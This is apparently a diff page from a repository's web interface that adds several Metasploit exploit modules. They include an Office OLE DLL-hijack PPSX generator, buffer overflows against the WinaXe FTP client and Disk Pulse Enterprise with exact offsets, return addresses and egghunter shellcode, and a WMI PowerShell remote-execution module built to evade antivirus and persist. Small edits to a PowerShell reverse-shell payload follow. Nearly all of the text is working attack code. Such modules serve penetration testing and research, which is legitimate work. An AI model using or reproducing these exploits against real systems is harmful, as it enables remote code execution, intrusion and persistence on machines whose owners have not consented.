'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)',
|
||||||
|
{
|
||||||
|
'DLL' => 'wab32res.dll',
|
||||||
|
# {32714800-2E5F-11d0-8B85-00AA0044F941}
|
||||||
|
'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)',
|
||||||
|
{
|
||||||
|
'DLL' => 'iasdatastore2.dll',
|
||||||
|
# {48da6741-1bf0-4a44-8325-293086c79077}
|
||||||
|
'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)',
|
||||||
|
{
|
||||||
|
'DLL' => 'ehTrace.dll',
|
||||||
|
# {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4}
|
||||||
|
'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Dec 8 2015',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if target.name == 'All'
|
||||||
|
targets = @targets
|
||||||
|
else
|
||||||
|
targets = [ target ]
|
||||||
|
end
|
||||||
|
|
||||||
|
@arch.each do |a|
|
||||||
|
exploit_regenerate_payload('win', a, nil)
|
||||||
|
targets.each do |t|
|
||||||
|
if t.name == 'All'
|
||||||
|
next
|
||||||
|
end
|
||||||
|
print_status("Using target #{t.name}")
|
||||||
|
|
||||||
|
dll_name = t['DLL']
|
||||||
|
if target.name == 'All'
|
||||||
|
ppsx_name = t.name.split(/\//).first + ".ppsx"
|
||||||
|
else
|
||||||
|
ppsx_name = datastore['FILENAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Creating the payload DLL (#{a})...")
|
||||||
|
|
||||||
|
opts = {}
|
||||||
|
opts[:arch] = [ a ]
|
||||||
|
dll = generate_payload_dll(opts)
|
||||||
|
dll_path = store_file(dll, a, dll_name)
|
||||||
|
print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")
|
||||||
|
|
||||||
|
print_status("Creating the PPSX file...")
|
||||||
|
ppsx = get_ppsx(t['CLSID'])
|
||||||
|
ppsx_path = store_file(ppsx, a, ppsx_name)
|
||||||
|
print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def store_file(data, subdir, filename)
|
||||||
|
ltype = "exploit.fileformat.#{self.shortname}"
|
||||||
|
|
||||||
|
if ! ::File.directory?(Msf::Config.local_directory)
|
||||||
|
FileUtils.mkdir_p(Msf::Config.local_directory)
|
||||||
|
end
|
||||||
|
|
||||||
|
subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||||
|
if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir)
|
||||||
|
FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir)
|
||||||
|
end
|
||||||
|
|
||||||
|
if filename and not filename.empty?
|
||||||
|
if filename =~ /(.*)\.(.*)/
|
||||||
|
ext = $2
|
||||||
|
fname = $1
|
||||||
|
else
|
||||||
|
fname = filename
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fname = "local_#{Time.now.utc.to_i}"
|
||||||
|
end
|
||||||
|
|
||||||
|
fname = ::File.split(fname).last
|
||||||
|
|
||||||
|
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||||
|
fname << ".#{ext}"
|
||||||
|
|
||||||
|
path = File.join(Msf::Config.local_directory + "/" + subdir, fname)
|
||||||
|
full_path = ::File.expand_path(path)
|
||||||
|
File.open(full_path, "wb") { |fd| fd.write(data) }
|
||||||
|
|
||||||
|
report_note(:data => full_path.dup, :type => "#{ltype}.localpath")
|
||||||
|
|
||||||
|
full_path.dup
|
||||||
|
end
|
||||||
|
|
||||||
|
def create_ole(clsid)
|
||||||
|
ole_tmp = Rex::Quickfile.new('ole')
|
||||||
|
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
|
||||||
|
|
||||||
|
stm = stg.create_stream("\x01OLE10Native")
|
||||||
|
stm.close
|
||||||
|
|
||||||
|
directory = stg.instance_variable_get(:@directory)
|
||||||
|
directory.each_entry do |entry|
|
||||||
|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
|
||||||
|
clsid = Rex::OLE::CLSID.new(clsid)
|
||||||
|
entry.instance_variable_set(:@_clsId, clsid)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# write to disk
|
||||||
|
stg.close
|
||||||
|
|
||||||
|
ole_contents = File.read(ole_tmp.path)
|
||||||
|
ole_tmp.close
|
||||||
|
ole_tmp.unlink
|
||||||
|
|
||||||
|
ole_contents
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_ppsx(clsid)
|
||||||
|
path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx')
|
||||||
|
fd = ::File.open(path, "rb")
|
||||||
|
data = fd.read(fd.stat.size)
|
||||||
|
fd.close
|
||||||
|
ppsx = Rex::Zip::Archive.new
|
||||||
|
|
||||||
|
Zip::InputStream.open(StringIO.new(data)) do |zis|
|
||||||
|
while entry = zis.get_next_entry
|
||||||
|
ppsx.add_file(entry.name, zis.read)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
|
||||||
|
ppsx.pack
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,71 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::FtpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
|
||||||
|
This issue is triggered when a client connects to the server and is
|
||||||
|
expecting the Server Ready response.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Chris Higgins', # msf Module -- @ch1gg1ns
|
||||||
|
'hyp3rlix' # Original discovery
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '40693'],
|
||||||
|
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'BadChars' => "\x00\x0a\x0d"
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows Universal',
|
||||||
|
{
|
||||||
|
'Offset' => 2065,
|
||||||
|
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'Nov 03 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_unknown_command(c, _cmd, _arg)
|
||||||
|
c.put("200 OK\r\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_connect(c)
|
||||||
|
print_status("Client connected...")
|
||||||
|
|
||||||
|
sploit = rand_text(target['Offset'])
|
||||||
|
sploit << [target.ret].pack('V')
|
||||||
|
sploit << make_nops(10)
|
||||||
|
sploit << payload.encoded
|
||||||
|
sploit << make_nops(20)
|
||||||
|
|
||||||
|
c.put("220" + sploit + "\r\n")
|
||||||
|
c.close
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,120 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Remote::Egghunter
|
||||||
|
include Msf::Exploit::Remote::Seh
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Disk Pulse Enterprise Login Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack buffer overflow in Disk Pulse Enterprise
|
||||||
|
9.0.34. If a malicious user sends a malicious HTTP login request,
|
||||||
|
it is possible to execute a payload that would run under the Windows
|
||||||
|
NT AUTHORITY\SYSTEM account. Due to size constraints, this module
|
||||||
|
uses the Egghunter technique.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Chris Higgins', # msf Module -- @ch1gg1ns
|
||||||
|
'Tulpa Security' # Original discovery -- @tulpa_security
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '40452' ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread'
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00\x0a\x0d\x26"
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Disk Pulse Enterprise 9.0.34',
|
||||||
|
{
|
||||||
|
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
|
||||||
|
'Offset' => 12600
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Oct 03 2016',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options([Opt::RPORT(80)], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
connect
|
||||||
|
eggoptions =
|
||||||
|
{
|
||||||
|
:checksum => true,
|
||||||
|
:eggtag => "w00t"
|
||||||
|
}
|
||||||
|
|
||||||
|
print_status("Generating exploit...")
|
||||||
|
|
||||||
|
sploit = "username=admin"
|
||||||
|
sploit << "&password=aaaaa\r\n"
|
||||||
|
|
||||||
|
# Would like to use generate_egghunter(), looking for improvement
|
||||||
|
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
|
||||||
|
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
|
||||||
|
|
||||||
|
sploit << rand_text(target['Offset'] - payload.encoded.length)
|
||||||
|
sploit << "w00tw00t"
|
||||||
|
sploit << payload.encoded
|
||||||
|
sploit << make_nops(70)
|
||||||
|
sploit << rand_text(1614)
|
||||||
|
# Would like to use generate_seh_record(), looking for improvement
|
||||||
|
sploit << "\x90\x90\xEB\x0B"
|
||||||
|
sploit << "\x33\xA3\x01\x10"
|
||||||
|
sploit << make_nops(20)
|
||||||
|
sploit << egghunter
|
||||||
|
sploit << make_nops(7000)
|
||||||
|
|
||||||
|
# Total exploit size should be 21747
|
||||||
|
print_status("Total exploit size: " + sploit.length.to_s)
|
||||||
|
print_status("Triggering the exploit now...")
|
||||||
|
print_status("Please be patient, the egghunter may take a while...")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/login',
|
||||||
|
'method' => 'POST',
|
||||||
|
'content-type' => 'application/x-www-form-urlencoded',
|
||||||
|
'content-length' => '17000',
|
||||||
|
'data' => sploit
|
||||||
|
})
|
||||||
|
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
'Targets' => [
|
'Targets' => [
|
||||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DefaultOptions' => {
|
'DefaultOptions' => {
|
||||||
|
|
|
@ -0,0 +1,188 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/windows/powershell'
|
||||||
|
require 'msf/core/post/windows/priv'
|
||||||
|
require 'msf/core/exploit/powershell/dot_net'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Post::Windows::Powershell
|
||||||
|
include Msf::Exploit::Powershell::DotNet
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Authenticated WMI Exec via Powershell",
|
||||||
|
'Description' => %q{
|
||||||
|
This module uses WMI execution to launch a payload instance on a remote machine.
|
||||||
|
In order to avoid AV detection, all execution is performed in memory via psh-net
|
||||||
|
encoded payload. Persistence option can be set to keep the payload looping while
|
||||||
|
a handler is present to receive it. By default the module runs as the current
|
||||||
|
process owner. The module can be configured with credentials for the remote host
|
||||||
|
with which to launch the process.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Payload' => { 'Space' => 8192 },
|
||||||
|
'Platform' => [ 'windows' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'Targets' => [ [ 'Universal', {} ] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate'=> "Aug 19 2012"
|
||||||
|
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
||||||
|
OptString.new('USERNAME', [false, "Username to authenticate as"]),
|
||||||
|
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
|
||||||
|
OptString.new('DOMAIN', [false, "Domain or machine name"]),
|
||||||
|
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
|
||||||
|
OptBool.new('RunRemoteWow64', [
|
||||||
|
false,
|
||||||
|
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
||||||
|
false
|
||||||
|
]),
|
||||||
|
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_script
|
||||||
|
run_opts = {}
|
||||||
|
run_opts[:username] = datastore['USERNAME']
|
||||||
|
run_opts[:domain] = datastore['DOMAIN'] || '.'
|
||||||
|
run_opts[:password] = datastore['PASSWORD']
|
||||||
|
|
||||||
|
# End of file marker
|
||||||
|
eof = Rex::Text.rand_text_alpha(8)
|
||||||
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
||||||
|
|
||||||
|
# Create base64 encoded payload
|
||||||
|
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
|
||||||
|
if datastore['PowerShellPersist']
|
||||||
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
||||||
|
sleep_time = rand(5)+5
|
||||||
|
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
|
||||||
|
end
|
||||||
|
psh_payload = compress_script(psh_payload_raw, eof)
|
||||||
|
# WMI exec function - this is going into powershell.rb after pull 701 is commited
|
||||||
|
script = ps_wmi_exec(run_opts)
|
||||||
|
# Build WMI exec calls to every host into the script to reduce PS instances
|
||||||
|
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
|
||||||
|
# split the hosts into wow64 and native, and run each range separately
|
||||||
|
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
||||||
|
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
|
||||||
|
|
||||||
|
if datastore["RHOSTS"]
|
||||||
|
# Iterate through our hosts list adding a call to the WMI wrapper for each.
|
||||||
|
# This should learn to differentiate between hosts and call WOW64 as appropriate,
|
||||||
|
# as well as putting the payload into a variable when many hosts are hit so the
|
||||||
|
# uploaded script is not bloated since each encoded payload is bulky.
|
||||||
|
|
||||||
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
|
||||||
|
if run_opts[:username] and run_opts[:password]
|
||||||
|
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
|
||||||
|
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
|
||||||
|
else
|
||||||
|
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status('Running Locally')
|
||||||
|
script = psh_payload_raw
|
||||||
|
end
|
||||||
|
return script
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Make sure we meet the requirements before running the script
|
||||||
|
unless have_powershell?
|
||||||
|
fail_with(Failure::BadConfig, 'PowerShell not found')
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# SYSTEM doesnt have credentials on remote hosts
|
||||||
|
if is_system? and datastore['RHOSTS']
|
||||||
|
print_error("Cannot run as local system on remote hosts")
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
|
||||||
|
script = build_script
|
||||||
|
|
||||||
|
if datastore['Powershell::Post::dry_run']
|
||||||
|
print_good script
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
|
||||||
|
print_good(psh_output)
|
||||||
|
rescue Rex::TimeoutError => e
|
||||||
|
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good('PSH WMI exec is complete.')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Wrapper function for instantiating a WMI win32_process
|
||||||
|
# class object in powershell.
|
||||||
|
# Insantiates the [wmiclass] object and configures the scope
|
||||||
|
# Sets impersonation level and injects credentials as needed
|
||||||
|
# Configures application startup options to hide the newly
|
||||||
|
# created window. Adds start-up check for remote proc.
|
||||||
|
def ps_wmi_exec(opts = {})
|
||||||
|
|
||||||
|
ps_wrapper = <<EOS
|
||||||
|
Function New-RemoteProcess {
|
||||||
|
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
|
||||||
|
$ErrorActionPreference="SilentlyContinue"
|
||||||
|
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
|
||||||
|
EOS
|
||||||
|
if opts[:username] and opts[:password]
|
||||||
|
ps_wrapper += <<EOS
|
||||||
|
$proc.psbase.Scope.Options.userName = $login
|
||||||
|
$proc.psbase.Scope.Options.Password = $pass
|
||||||
|
EOS
|
||||||
|
end
|
||||||
|
ps_wrapper += <<EOS
|
||||||
|
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
|
||||||
|
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
|
||||||
|
$startup = [wmiclass]"Win32_ProcessStartup"
|
||||||
|
$startup.Properties['ShowWindow'].value=$False
|
||||||
|
$remote = $proc.Create($cmd,'C:\\',$startup)
|
||||||
|
if ($remote.returnvalue -eq 0) {
|
||||||
|
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
|
||||||
|
} else {
|
||||||
|
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
EOS
|
||||||
|
|
||||||
|
return ps_wrapper
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Ideally the methods to create WMI wrapper functions and their callers
|
||||||
|
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
|
||||||
|
#
|
|
@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
|
[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
|
||||||
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
|
[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]
|
||||||
],
|
],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Oct 06 2016'
|
'DisclosureDate' => 'Oct 06 2016'
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# MixedNop
|
||||||
|
# ----------
|
||||||
|
#
|
||||||
|
# This class implements a mixed NOP generator for MIPS (big endian)
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class MetasploitModule < Msf::Nop
|
||||||
|
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Better',
|
||||||
|
'Alias' => 'mipsbe_better',
|
||||||
|
'Description' => 'Better NOP generator',
|
||||||
|
'Author' => 'jm',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Arch' => ARCH_MIPSBE)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_register()
|
||||||
|
return rand(27) + 1
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_bne(reg)
|
||||||
|
op = 0x14000000
|
||||||
|
|
||||||
|
reg = get_register()
|
||||||
|
offset = rand(65536)
|
||||||
|
|
||||||
|
op = op | ( reg << 21 ) | ( reg << 16 ) | offset
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_or(reg)
|
||||||
|
op = 0x00000025
|
||||||
|
|
||||||
|
op = op | ( reg << 21 ) | ( reg << 11 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_sll(reg)
|
||||||
|
op = 0x00000000
|
||||||
|
|
||||||
|
op = op | ( reg << 16 ) | ( reg << 11 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_sra(reg)
|
||||||
|
op = 0x00000003
|
||||||
|
|
||||||
|
op = op | ( reg << 16 ) | ( reg << 11 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_srl(reg)
|
||||||
|
op = 0x00000002
|
||||||
|
|
||||||
|
op = op | ( reg << 16 ) | ( reg << 11 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_xori(reg)
|
||||||
|
op = 0x38000000
|
||||||
|
|
||||||
|
op = op | ( reg << 21 ) | ( reg << 16 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_ori(reg)
|
||||||
|
op = 0x34000000
|
||||||
|
|
||||||
|
op = op | ( reg << 21 ) | ( reg << 16 )
|
||||||
|
return op
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_sled(length, opts)
|
||||||
|
|
||||||
|
badchars = opts['BadChars'] || ''
|
||||||
|
random = opts['Random'] || datastore['RandomNops']
|
||||||
|
nop_fn = [ :make_bne, :make_or, :make_sll, :make_sra, :make_srl, :make_xori, :make_ori ]
|
||||||
|
sled = ''
|
||||||
|
|
||||||
|
for i in 1..length/4 do
|
||||||
|
n = nop_fn.sample
|
||||||
|
sled << [send(n, get_register())].pack("N*")
|
||||||
|
end
|
||||||
|
|
||||||
|
return sled
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 1204
|
CachedSize = 1228
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Sessions::CommandShellOptions
|
include Msf::Sessions::CommandShellOptions
|
||||||
|
@ -81,7 +81,8 @@ module MetasploitModule
|
||||||
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
|
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
|
||||||
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
|
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
|
||||||
"$pos+=$r;"\
|
"$pos+=$r;"\
|
||||||
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
|
"if (-not $pos -or $pos -eq 0) {RSC};"\
|
||||||
|
"if ($nb[0..$($pos-1)] -contains 10) {break}};"\
|
||||||
"if ($pos -gt 0){"\
|
"if ($pos -gt 0){"\
|
||||||
"$str=$e.GetString($nb,0,$pos);"\
|
"$str=$e.GetString($nb,0,$pos);"\
|
||||||
"$is.write($str);start-sleep 1;"\
|
"$is.write($str);start-sleep 1;"\
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 26803
|
CachedSize = 27144
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Php::ReverseTcp
|
include Msf::Payload::Php::ReverseTcp
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 51314
|
CachedSize = 51742
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 51274
|
CachedSize = 51706
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
|
|
|
@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 51278
|
CachedSize = 51706
|
||||||
|
|
||||||
include Msf::Payload::Single
|
include Msf::Payload::Single
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
